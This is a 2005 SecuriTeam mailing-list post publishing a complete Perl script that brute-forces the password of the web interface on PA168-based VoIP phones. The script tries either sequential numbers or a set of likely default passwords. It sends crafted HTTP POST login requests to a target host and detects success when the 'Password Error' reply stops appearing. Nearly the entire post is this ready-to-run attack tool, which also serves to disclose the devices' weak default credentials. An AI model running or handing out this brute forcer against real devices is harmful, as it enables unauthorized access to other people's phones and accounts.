[TOOL] PA168 Web Interface Password Brute Forcer

From: SecuriTeam (support_at_securiteam.com)
Date: 08/14/05

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Date: 14 Aug 2005 17:37:42 +0200

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      PA168 Web Interface Password Brute Forcer
    ------------------------------------------------------------------------

    SUMMARY

    DETAILS

    The following tool can be used to "break" into PA168 based phone's
    password protected web interface by brute forcing the password.

    Tool source:
    #!/usr/bin/perl
    # The following is a very simple password brute forcer for PA168 series of
    devices
    # It is able to "break" into its web interface in a few seconds if you
    choose option 1, and your
    # VoIP phone's password has not been changed
    #
    # Author: Noam Rathaus (noamr[.at.]beyondsecurity.com)

    use integer;
    use IO::Socket;
    use strict;

    if (@ARGV < 3)
    {
     print $0. " hostname port method first_password\n";
     print "\tHostname - The hostname or IP to test\n";
     print "\tPort - The port of the device\n";
     print "\tMethod - 0 for brute force, 1 for known passwords\n";
     print "\tFirst_password - The first password to test (i.e. if you stopped
    somewhere and want to resume, by default set to 1)\n";
     exit(0);
    }

    my $Host = shift;
    my $Port = shift;
    my $Method = shift;
    my $remote;
    my $Connection_Closed = 1;

    print "Connected\n";

    my $Password = 1;
    my $Content = "";
    my $Request = "";
    my $LastPassword = shift;
    if ($Method eq "1")
    {
     $LastPassword = "1";
    }
    if ($LastPassword eq "")
    {
     $LastPassword = 1;
    }

    my $Average = 0;
    my $Count = 0;
    my $StartTime = time;
    my $CurrentTime = time;
    my $CurrentPassword;
    my $Passed;
    for ($Password = $LastPassword; $Password < 123456789; $Password ++)
    {
     if ($Method)
     {
      if ($Count < 100)
      {
       if ($Count % 10 == 0)
       {
        $CurrentPassword = "";
       }
       
       $CurrentPassword .= $Count / 10;
      }
      elsif ($Count == 100)
      {
       $CurrentPassword = "";
      }
      else
      {
       $CurrentPassword .= $Count - 100;
      }
     }
     else
     {
      $CurrentPassword = $Password;
     }

     $Count ++;
     $CurrentTime = time;
     $Passed = $CurrentTime - $StartTime + 1;
     $Average = $Count / ($Passed);
     print "Attempting password: $CurrentPassword ($Average passwd/scnd)\n";
     my $PasswordError = 0;
     if ($Connection_Closed)
     {
      $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $Host,
    PeerPort => $Port);
      unless ($remote) { die "cannot connect to http daemon on $Host" }
      $Connection_Closed = 0;
     }

     $Content = "auth=$CurrentPassword&login=+++Login+++";

     $Request = "POST /a HTTP/1.1\r
    Host: $Host\r
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10)
    Gecko/20050730 Firefox/1.0.6 (Debian package 1.0.6-2)\r
    Accept: text/plain
    Accept-Language: en-us,en;q=0.5\r
    Accept-Encoding: gzip,deflate\r
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
    Keep-Alive: 300\r
    Connection: keep-alive\r
    Referer: http://10.10.10.110/\r
    Content-Type: application/x-www-form-urlencoded\r
    Content-Length: ". length($Content) ."\r
    \r
    $Content";

     print $remote $Request;
     my $Incoming;
     while ($Incoming = <$remote>)
     {
      if ($Incoming =~ /Connection: (C|c)lose/)
      {
       $Connection_Closed = 1;
      }
      if ($Incoming =~ /Password Error/)
      {
       $PasswordError = 1;
       last;
      }
     }
     if ($Connection_Closed)
     {
      close ($remote);
     }
     if (!$PasswordError)
     {
      print "Password found: $CurrentPassword\n";
      last;
     }
    }

    ADDITIONAL INFORMATION

    The information has been provided by Noam Rathaus.

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